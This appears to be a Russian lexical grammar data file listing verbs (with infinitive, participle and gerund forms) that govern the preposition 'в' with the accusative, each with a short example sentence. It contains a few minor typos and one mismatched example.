rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека
rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека
rus_verbs:вламываться{}, // Полиция вламывается в квартиру
rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом
rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом
rus_verbs:вовлечься{}, // вовлечься в занятие спортом
rus_verbs:спуститься{}, // спуститься в подвал
rus_verbs:спускаться{}, // спускаться в подвал
rus_verbs:отправляться{}, // отправляться в дальнее плавание
инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство
инфинитив:эмитировать{ вид:несоверш },
глагол:эмитировать{ вид:соверш },
глагол:эмитировать{ вид:несоверш },
деепричастие:эмитируя{},
деепричастие:эмитировав{},
прилагательное:эмитировавший{ вид:несоверш },
// прилагательное:эмитировавший{ вид:соверш },
прилагательное:эмитирующий{},
прилагательное:эмитируемый{},
прилагательное:эмитированный{},
инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию
инфинитив:этапировать{вид:соверш},
глагол:этапировать{вид:несоверш},
глагол:этапировать{вид:соверш},
деепричастие:этапируя{},
прилагательное:этапируемый{},
прилагательное:этапированный{},
rus_verbs:этапироваться{}, // Преступники этапируются в колонию
rus_verbs:баллотироваться{}, // они баллотировались в жюри
rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну
rus_verbs:бросать{}, // Они бросали в фонтан медные монетки
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:бросить{}, // Он бросил в фонтан медную монетку
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя
rus_verbs:буксировать{}, // Буксир буксирует танкер в порт
rus_verbs:буксироваться{}, // Сухогруз буксируется в порт
rus_verbs:вбегать{}, // Курьер вбегает в дверь
rus_verbs:вбежать{}, // Курьер вбежал в дверь
rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол
rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту
rus_verbs:вбиваться{}, // Штырь вбивается в плиту
rus_verbs:вбирать{}, // Вата вбирает в себя влагу
rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь
rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру
rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру
rus_verbs:вбросить{}, // Судья вбросил мяч в игру
rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон
rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон
rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект
rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача
rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру
rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта
rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту
rus_verbs:ввариваться{}, // Арматура вваривается в плиту
rus_verbs:вварить{}, // Робот вварил арматурину в плиту
rus_verbs:влезть{}, // Предприятие ввезло товар в страну
rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру
rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон
rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон
rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон
rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача
rus_verbs:вверяться{}, // Пациент вверяется в руки врача
rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров
rus_verbs:ввиваться{}, // полоска ввивается в косу
rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево
rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево
rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену
rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену
rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров
rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров
// rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье
rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну
rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон
rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон
rus_verbs:ввязаться{}, // Разведрота ввязалась в бой
rus_verbs:ввязываться{}, // Передовые части ввязываются в бой
rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор
rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор
rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию
rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида
rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида
rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали
rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку
rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку
rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь
rus_verbs:вдвинуться{}, // деталь вдвинулась в печь
rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку
rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко
rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко
rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко
rus_verbs:вделать{}, // мастер вделал розетку в стену
rus_verbs:вделывать{}, // мастер вделывает выключатель в стену
rus_verbs:вделываться{}, // кронштейн вделывается в стену
rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко
rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко
rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век
rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов
rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог
rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие
rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку
rus_verbs:вернуться{}, // Дети вернулись в библиотеку
rus_verbs:вжаться{}, // Водитель вжался в кресло
rus_verbs:вживаться{}, // Актер вживается в новую роль
rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента
rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента
rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента
rus_verbs:вживляться{}, // Стимулятор вживляется в тело
rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло
rus_verbs:вжиться{}, // Актер вжился в свою новую роль
rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо
rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо
rus_verbs:взвинтиться{}, // Цены взвинтились в небо
rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо
rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо
rus_verbs:взвиться{}, // Шарики взвились в небо
rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух
rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо
rus_verbs:взмывать{}, // шарики взмывают в небо
rus_verbs:взмыть{}, // Шарики взмыли в небо
rus_verbs:вильнуть{}, // Машина вильнула в левую сторону
rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену
rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену
rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю
rus_verbs:вкапываться{}, // Свая вкапывается в землю
rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж
rus_verbs:вкатиться{}, // машина вкатилась в гараж
rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж
rus_verbs:вкатываться{}, // машина вкатывается в гараж
rus_verbs:вкачать{}, // Механики вкачали в бак много топлива
rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак
rus_verbs:вкачиваться{}, // Топливо вкачивается в бак
rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер
rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер
rus_verbs:вкидываться{}, // Груз вкидывается в контейнер
rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции
rus_verbs:вкладываться{}, // Инвестор вкладывается в акции
rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь
rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь
rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь
rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь
rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист
rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист
rus_verbs:вклиниваться{}, // Машина вклинивается в поток
rus_verbs:вклиниться{}, // машина вклинилась в поток
rus_verbs:включать{}, // Команда включает компьютер в сеть
rus_verbs:включаться{}, // Машина включается в глобальную сеть
rus_verbs:включить{}, // Команда включила компьютер в сеть
rus_verbs:включиться{}, // Компьютер включился в сеть
rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску
rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску
rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску
rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство
rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю
rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты
rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку
rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку
rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты
rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон
rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон
rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон
rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон
rus_verbs:влазить{}, // Разъем влазит в отверствие
rus_verbs:вламывать{}, // Полиция вламывается в квартиру
rus_verbs:влетать{}, // Самолет влетает в грозовой фронт
rus_verbs:влететь{}, // Самолет влетел в грозовой фронт
rus_verbs:вливать{}, // Механик вливает масло в картер
rus_verbs:вливаться{}, // Масло вливается в картер
rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия
rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности
rus_verbs:влить{}, // Механик влил свежее масло в картер
rus_verbs:влиться{}, // Свежее масло влилось в бак
rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства
rus_verbs:вложиться{}, // Инвесторы вложились в эти акции
rus_verbs:влюбиться{}, // Коля влюбился в Олю
rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков
rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов
rus_verbs:вляпаться{}, // Коля вляпался в неприятность
rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности
rus_verbs:вменить{}, // вменить в вину
rus_verbs:вменять{}, // вменять в обязанность
rus_verbs:вмерзать{}, // Колеса вмерзают в лед
rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед
rus_verbs:вмести{}, // вмести в дом
rus_verbs:вместить{}, // вместить в ёмкость
rus_verbs:вместиться{}, // Прибор не вместился в зонд
rus_verbs:вмешаться{}, // Начальник вмешался в конфликт
rus_verbs:вмешивать{}, // Не вмешивай меня в это дело
rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры
rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус
rus_verbs:вминать{}, // вминать в корпус
rus_verbs:вминаться{}, // кронштейн вминается в корпус
rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы
rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда
rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт
rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт
rus_verbs:вморозить{}, // Установка вморозила сваи в грунт
rus_verbs:вмуровать{}, // Сейф был вмурован в стену
rus_verbs:вмуровывать{}, // вмуровывать сейф в стену
rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену
rus_verbs:внедрить{}, // внедрить инновацию в производство
rus_verbs:внедриться{}, // Шпион внедрился в руководство
rus_verbs:внедрять{}, // внедрять инновации в производство
rus_verbs:внедряться{}, // Шпионы внедряются в руководство
rus_verbs:внести{}, // внести коробку в дом
rus_verbs:внестись{}, // внестись в список приглашенных гостей
rus_verbs:вникать{}, // Разработчик вникает в детали задачи
rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи
rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев
rus_verbs:вноситься{}, // вноситься в список главных персонажей
rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса
rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом
rus_verbs:вогнать{}, // вогнал человека в тоску
rus_verbs:водворить{}, // водворить преступника в тюрьму
rus_verbs:возвернуть{}, // возвернуть в родную стихию
rus_verbs:возвернуться{}, // возвернуться в родную стихию
rus_verbs:возвести{}, // возвести число в четную степень
rus_verbs:возводить{}, // возводить число в четную степень
rus_verbs:возводиться{}, // число возводится в четную степень
rus_verbs:возвратить{}, // возвратить коров в стойло
rus_verbs:возвратиться{}, // возвратиться в родной дом
rus_verbs:возвращать{}, // возвращать коров в стойло
rus_verbs:возвращаться{}, // возвращаться в родной дом
rus_verbs:войти{}, // войти в галерею славы
rus_verbs:вонзать{}, // Коля вонзает вилку в котлету
rus_verbs:вонзаться{}, // Вилка вонзается в котлету
rus_verbs:вонзить{}, // Коля вонзил вилку в котлету
rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету
rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность
rus_verbs:воплотиться{}, // Мечты воплотились в реальность
rus_verbs:воплощать{}, // Коля воплощает мечты в реальность
rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность
rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь
rus_verbs:воспарить{}, // Душа воспарила в небо
rus_verbs:воспарять{}, // Душа воспаряет в небо
rus_verbs:врыть{}, // врыть опору в землю
rus_verbs:врыться{}, // врыться в землю
rus_verbs:всадить{}, // всадить пулю в сердце
rus_verbs:всаживать{}, // всаживать нож в бок
rus_verbs:всасывать{}, // всасывать воду в себя
rus_verbs:всасываться{}, // всасываться в ёмкость
rus_verbs:вселить{}, // вселить надежду в кого-либо
rus_verbs:вселиться{}, // вселиться в пустующее здание
rus_verbs:вселять{}, // вселять надежду в кого-то
rus_verbs:вселяться{}, // вселяться в пустующее здание
rus_verbs:вскидывать{}, // вскидывать руку в небо
rus_verbs:вскинуть{}, // вскинуть руку в небо
rus_verbs:вслушаться{}, // вслушаться в звуки
rus_verbs:вслушиваться{}, // вслушиваться в шорох
rus_verbs:всматриваться{}, // всматриваться в темноту
rus_verbs:всмотреться{}, // всмотреться в темень
rus_verbs:всовывать{}, // всовывать палец в отверстие
rus_verbs:всовываться{}, // всовываться в форточку
rus_verbs:всосать{}, // всосать жидкость в себя
rus_verbs:всосаться{}, // всосаться в кожу
rus_verbs:вставить{}, // вставить ключ в замок
rus_verbs:вставлять{}, // вставлять ключ в замок
rus_verbs:встраивать{}, // встраивать черный ход в систему защиты
rus_verbs:встраиваться{}, // встраиваться в систему безопасности
rus_verbs:встревать{}, // встревать в разговор
rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности
rus_verbs:встроиться{}, // встроиться в систему безопасности
rus_verbs:встрять{}, // встрять в разговор
rus_verbs:вступать{}, // вступать в действующую армию
rus_verbs:вступить{}, // вступить в действующую армию
rus_verbs:всунуть{}, // всунуть палец в отверстие
rus_verbs:всунуться{}, // всунуться в форточку
инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер
инфинитив:всыпать{вид:несоверш},
глагол:всыпать{вид:соверш},
глагол:всыпать{вид:несоверш},
деепричастие:всыпав{},
деепричастие:всыпая{},
прилагательное:всыпавший{ вид:соверш },
// прилагательное:всыпавший{ вид:несоверш },
прилагательное:всыпанный{},
// прилагательное:всыпающий{},
инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер
// инфинитив:всыпаться{ вид:соверш},
// глагол:всыпаться{ вид:соверш},
глагол:всыпаться{ вид:несоверш},
// деепричастие:всыпавшись{},
деепричастие:всыпаясь{},
// прилагательное:всыпавшийся{ вид:соверш },
// прилагательное:всыпавшийся{ вид:несоверш },
// прилагательное:всыпающийся{},
rus_verbs:вталкивать{}, // вталкивать деталь в ячейку
rus_verbs:вталкиваться{}, // вталкиваться в ячейку
rus_verbs:втаптывать{}, // втаптывать в грязь
rus_verbs:втаптываться{}, // втаптываться в грязь
rus_verbs:втаскивать{}, // втаскивать мешок в комнату
rus_verbs:втаскиваться{}, // втаскиваться в комнату
rus_verbs:втащить{}, // втащить мешок в комнату
rus_verbs:втащиться{}, // втащиться в комнату
rus_verbs:втекать{}, // втекать в бутылку
rus_verbs:втемяшивать{}, // втемяшивать в голову
rus_verbs:втемяшиваться{}, // втемяшиваться в голову
rus_verbs:втемяшить{}, // втемяшить в голову
rus_verbs:втемяшиться{}, // втемяшиться в голову
rus_verbs:втереть{}, // втереть крем в кожу
rus_verbs:втереться{}, // втереться в кожу
rus_verbs:втесаться{}, // втесаться в группу
rus_verbs:втесывать{}, // втесывать в группу
rus_verbs:втесываться{}, // втесываться в группу
rus_verbs:втечь{}, // втечь в бак
rus_verbs:втирать{}, // втирать крем в кожу
rus_verbs:втираться{}, // втираться в кожу
rus_verbs:втискивать{}, // втискивать сумку в вагон
rus_verbs:втискиваться{}, // втискиваться в переполненный вагон
rus_verbs:втиснуть{}, // втиснуть сумку в вагон
rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро
rus_verbs:втолкать{}, // втолкать коляску в лифт
rus_verbs:втолкаться{}, // втолкаться в вагон метро
rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт
rus_verbs:втолкнуться{}, // втолкнуться в вагон метро
rus_verbs:втолочь{}, // втолочь в смесь
rus_verbs:втоптать{}, // втоптать цветы в землю
rus_verbs:вторгаться{}, // вторгаться в чужую зону
rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь
rus_verbs:втравить{}, // втравить кого-то в неприятности
rus_verbs:втравливать{}, // втравливать кого-то в неприятности
rus_verbs:втрамбовать{}, // втрамбовать камни в землю
rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю
rus_verbs:втрамбовываться{}, // втрамбовываться в землю
rus_verbs:втрескаться{}, // втрескаться в кого-то
rus_verbs:втрескиваться{}, // втрескиваться в кого-либо
rus_verbs:втыкать{}, // втыкать вилку в котлетку
rus_verbs:втыкаться{}, // втыкаться в розетку
rus_verbs:втюриваться{}, // втюриваться в кого-либо
rus_verbs:втюриться{}, // втюриться в кого-либо
rus_verbs:втягивать{}, // втягивать что-то в себя
rus_verbs:втягиваться{}, // втягиваться в себя
rus_verbs:втянуться{}, // втянуться в себя
rus_verbs:вцементировать{}, // вцементировать сваю в фундамент
rus_verbs:вчеканить{}, // вчеканить надпись в лист
rus_verbs:вчитаться{}, // вчитаться внимательнее в текст
rus_verbs:вчитываться{}, // вчитываться внимательнее в текст
rus_verbs:вчувствоваться{}, // вчувствоваться в роль
rus_verbs:вшагивать{}, // вшагивать в новую жизнь
rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь
rus_verbs:вшивать{}, // вшивать заплату в рубашку
rus_verbs:вшиваться{}, // вшиваться в ткань
rus_verbs:вшить{}, // вшить заплату в ткань
rus_verbs:въедаться{}, // въедаться в мякоть
rus_verbs:въезжать{}, // въезжать в гараж
rus_verbs:въехать{}, // въехать в гараж
rus_verbs:выиграть{}, // Коля выиграл в шахматы
rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы
rus_verbs:выкладывать{}, // выкладывать в общий доступ
rus_verbs:выкладываться{}, // выкладываться в общий доступ
rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет
rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет
rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет
rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет
rus_verbs:вылезать{}, // вылезать в открытое пространство
rus_verbs:вылезти{}, // вылезти в открытое пространство
rus_verbs:выливать{}, // выливать в бутылку
rus_verbs:выливаться{}, // выливаться в ёмкость
rus_verbs:вылить{}, // вылить отходы в канализацию
rus_verbs:вылиться{}, // Топливо вылилось в воду
rus_verbs:выложить{}, // выложить в общий доступ
rus_verbs:выпадать{}, // выпадать в осадок
rus_verbs:выпрыгивать{}, // выпрыгивать в окно
rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно
rus_verbs:выродиться{}, // выродиться в жалкое подобие
rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков
rus_verbs:высеваться{}, // высеваться в землю
rus_verbs:высеять{}, // высеять в землю
rus_verbs:выслать{}, // выслать в страну постоянного пребывания
rus_verbs:высморкаться{}, // высморкаться в платок
rus_verbs:высморкнуться{}, // высморкнуться в платок
rus_verbs:выстреливать{}, // выстреливать в цель
rus_verbs:выстреливаться{}, // выстреливаться в цель
rus_verbs:выстрелить{}, // выстрелить в цель
rus_verbs:вытекать{}, // вытекать в озеро
rus_verbs:вытечь{}, // вытечь в воду
rus_verbs:смотреть{}, // смотреть в будущее
rus_verbs:подняться{}, // подняться в лабораторию
rus_verbs:послать{}, // послать в магазин
rus_verbs:слать{}, // слать в неизвестность
rus_verbs:добавить{}, // добавить в суп
rus_verbs:пройти{}, // пройти в лабораторию
rus_verbs:положить{}, // положить в ящик
rus_verbs:прислать{}, // прислать в полицию
rus_verbs:упасть{}, // упасть в пропасть
инфинитив:писать{ aux stress="пис^ать" }, // писать в газету
инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки
глагол:писать{ aux stress="п^исать" },
глагол:писать{ aux stress="пис^ать" },
деепричастие:писая{},
прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки
прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету
rus_verbs:собираться{}, // собираться в поход
rus_verbs:звать{}, // звать в ресторан
rus_verbs:направиться{}, // направиться в ресторан
rus_verbs:отправиться{}, // отправиться в ресторан
rus_verbs:поставить{}, // поставить в угол
rus_verbs:целить{}, // целить в мишень
rus_verbs:попасть{}, // попасть в переплет
rus_verbs:ударить{}, // ударить в больное место
rus_verbs:закричать{}, // закричать в микрофон
rus_verbs:опустить{}, // опустить в воду
rus_verbs:принести{}, // принести в дом бездомного щенка
rus_verbs:отдать{}, // отдать в хорошие руки
rus_verbs:ходить{}, // ходить в школу
rus_verbs:уставиться{}, // уставиться в экран
rus_verbs:приходить{}, // приходить в бешенство
rus_verbs:махнуть{}, // махнуть в Италию
rus_verbs:сунуть{}, // сунуть в замочную скважину
rus_verbs:явиться{}, // явиться в расположение части
rus_verbs:уехать{}, // уехать в город
rus_verbs:целовать{}, // целовать в лобик
rus_verbs:повести{}, // повести в бой
rus_verbs:опуститься{}, // опуститься в кресло
rus_verbs:передать{}, // передать в архив
rus_verbs:побежать{}, // побежать в школу
rus_verbs:стечь{}, // стечь в воду
rus_verbs:уходить{}, // уходить добровольцем в армию
rus_verbs:привести{}, // привести в дом
rus_verbs:шагнуть{}, // шагнуть в неизвестность
rus_verbs:собраться{}, // собраться в поход
rus_verbs:заглянуть{}, // заглянуть в основу
rus_verbs:поспешить{}, // поспешить в церковь
rus_verbs:поцеловать{}, // поцеловать в лоб
rus_verbs:перейти{}, // перейти в высшую лигу
rus_verbs:поверить{}, // поверить в искренность
rus_verbs:глянуть{}, // глянуть в оглавление
rus_verbs:зайти{}, // зайти в кафетерий
rus_verbs:подобрать{}, // подобрать в лесу
rus_verbs:проходить{}, // проходить в помещение
rus_verbs:глядеть{}, // глядеть в глаза
rus_verbs:пригласить{}, // пригласить в театр
rus_verbs:позвать{}, // позвать в класс
rus_verbs:усесться{}, // усесться в кресло
rus_verbs:поступить{}, // поступить в институт
rus_verbs:лечь{}, // лечь в постель
rus_verbs:поклониться{}, // поклониться в пояс
rus_verbs:потянуться{}, // потянуться в лес
rus_verbs:колоть{}, // колоть в ягодицу
rus_verbs:присесть{}, // присесть в кресло
rus_verbs:оглядеться{}, // оглядеться в зеркало
rus_verbs:поглядеть{}, // поглядеть в зеркало
rus_verbs:превратиться{}, // превратиться в лягушку
rus_verbs:принимать{}, // принимать во внимание
rus_verbs:звонить{}, // звонить в колокола
rus_verbs:привезти{}, // привезти в гостиницу
rus_verbs:рухнуть{}, // рухнуть в пропасть
rus_verbs:пускать{}, // пускать в дело
rus_verbs:отвести{}, // отвести в больницу
rus_verbs:сойти{}, // сойти в ад
rus_verbs:набрать{}, // набрать в команду
rus_verbs:собрать{}, // собрать в кулак
rus_verbs:двигаться{}, // двигаться в каюту
rus_verbs:падать{}, // падать в область нуля
rus_verbs:полезть{}, // полезть в драку
rus_verbs:направить{}, // направить в стационар
rus_verbs:приводить{}, // приводить в чувство
rus_verbs:толкнуть{}, // толкнуть в бок
rus_verbs:кинуться{}, // кинуться в драку
rus_verbs:ткнуть{}, // ткнуть в глаз
rus_verbs:заключить{}, // заключить в объятия
rus_verbs:подниматься{}, // подниматься в небо
rus_verbs:расти{}, // расти в глубину
rus_verbs:налить{}, // налить в кружку
rus_verbs:швырнуть{}, // швырнуть в бездну
rus_verbs:прыгнуть{}, // прыгнуть в дверь
rus_verbs:промолчать{}, // промолчать в тряпочку
rus_verbs:садиться{}, // садиться в кресло
rus_verbs:лить{}, // лить в кувшин
rus_verbs:дослать{}, // дослать деталь в держатель
rus_verbs:переслать{}, // переслать в обработчик
rus_verbs:удалиться{}, // удалиться в совещательную комнату
rus_verbs:разглядывать{}, // разглядывать в бинокль
rus_verbs:повесить{}, // повесить в шкаф
инфинитив:походить{ вид:соверш }, // походить в институт
глагол:походить{ вид:соверш },
деепричастие:походив{},
// прилагательное:походивший{вид:соверш},
rus_verbs:помчаться{}, // помчаться в класс
rus_verbs:свалиться{}, // свалиться в яму
rus_verbs:сбежать{}, // сбежать в Англию
rus_verbs:стрелять{}, // стрелять в цель
rus_verbs:обращать{}, // обращать в свою веру
rus_verbs:завести{}, // завести в дом
rus_verbs:приобрести{}, // приобрести в рассрочку
rus_verbs:сбросить{}, // сбросить в яму
rus_verbs:устроиться{}, // устроиться в крупную корпорацию
rus_verbs:погрузиться{}, // погрузиться в пучину
rus_verbs:течь{}, // течь в канаву
rus_verbs:произвести{}, // произвести в звание майора
rus_verbs:метать{}, // метать в цель
rus_verbs:пустить{}, // пустить в дело
rus_verbs:полететь{}, // полететь в Европу
rus_verbs:пропустить{}, // пропустить в здание
rus_verbs:рвануть{}, // рвануть в отпуск
rus_verbs:заходить{}, // заходить в каморку
rus_verbs:нырнуть{}, // нырнуть в прорубь
rus_verbs:рвануться{}, // рвануться в атаку
rus_verbs:приподняться{}, // приподняться в воздух
rus_verbs:превращаться{}, // превращаться в крупную величину
rus_verbs:прокричать{}, // прокричать в ухо
rus_verbs:записать{}, // записать в блокнот
rus_verbs:забраться{}, // забраться в шкаф
rus_verbs:приезжать{}, // приезжать в деревню
rus_verbs:продать{}, // продать в рабство
rus_verbs:проникнуть{}, // проникнуть в центр
rus_verbs:устремиться{}, // устремиться в открытое море
rus_verbs:посадить{}, // посадить в кресло
rus_verbs:упереться{}, // упереться в пол
rus_verbs:ринуться{}, // ринуться в буфет
rus_verbs:отдавать{}, // отдавать в кадетское училище
rus_verbs:отложить{}, // отложить в долгий ящик
rus_verbs:убежать{}, // убежать в приют
rus_verbs:оценить{}, // оценить в миллион долларов
rus_verbs:поднимать{}, // поднимать в стратосферу
rus_verbs:отослать{}, // отослать в квалификационную комиссию
rus_verbs:отодвинуть{}, // отодвинуть в дальний угол
rus_verbs:торопиться{}, // торопиться в школу
rus_verbs:попадаться{}, // попадаться в руки
rus_verbs:поразить{}, // поразить в самое сердце
rus_verbs:доставить{}, // доставить в квартиру
rus_verbs:заслать{}, // заслать в тыл
rus_verbs:сослать{}, // сослать в изгнание
rus_verbs:запустить{}, // запустить в космос
rus_verbs:удариться{}, // удариться в запой
rus_verbs:ударяться{}, // ударяться в крайность
rus_verbs:шептать{}, // шептать в лицо
rus_verbs:уронить{}, // уронить в унитаз
rus_verbs:прорычать{}, // прорычать в микрофон
rus_verbs:засунуть{}, // засунуть в глотку
rus_verbs:плыть{}, // плыть в открытое море
rus_verbs:перенести{}, // перенести в духовку
rus_verbs:светить{}, // светить в лицо
rus_verbs:мчаться{}, // мчаться в ремонт
rus_verbs:стукнуть{}, // стукнуть в лоб
rus_verbs:обрушиться{}, // обрушиться в котлован
rus_verbs:поглядывать{}, // поглядывать в экран
rus_verbs:уложить{}, // уложить в кроватку
инфинитив:попадать{ вид:несоверш }, // попадать в черный список
глагол:попадать{ вид:несоверш },
прилагательное:попадающий{ вид:несоверш },
прилагательное:попадавший{ вид:несоверш },
деепричастие:попадая{},
rus_verbs:провалиться{}, // провалиться в яму
rus_verbs:жаловаться{}, // жаловаться в комиссию
rus_verbs:опоздать{}, // опоздать в школу
rus_verbs:посылать{}, // посылать в парикмахерскую
rus_verbs:погнать{}, // погнать в хлев
rus_verbs:поступать{}, // поступать в институт
rus_verbs:усадить{}, // усадить в кресло
rus_verbs:проиграть{}, // проиграть в рулетку
rus_verbs:прилететь{}, // прилететь в страну
rus_verbs:повалиться{}, // повалиться в траву
rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ
rus_verbs:лезть{}, // лезть в чужие дела
rus_verbs:потащить{}, // потащить в суд
rus_verbs:направляться{}, // направляться в порт
rus_verbs:поползти{}, // поползти в другую сторону
rus_verbs:пуститься{}, // пуститься в пляс
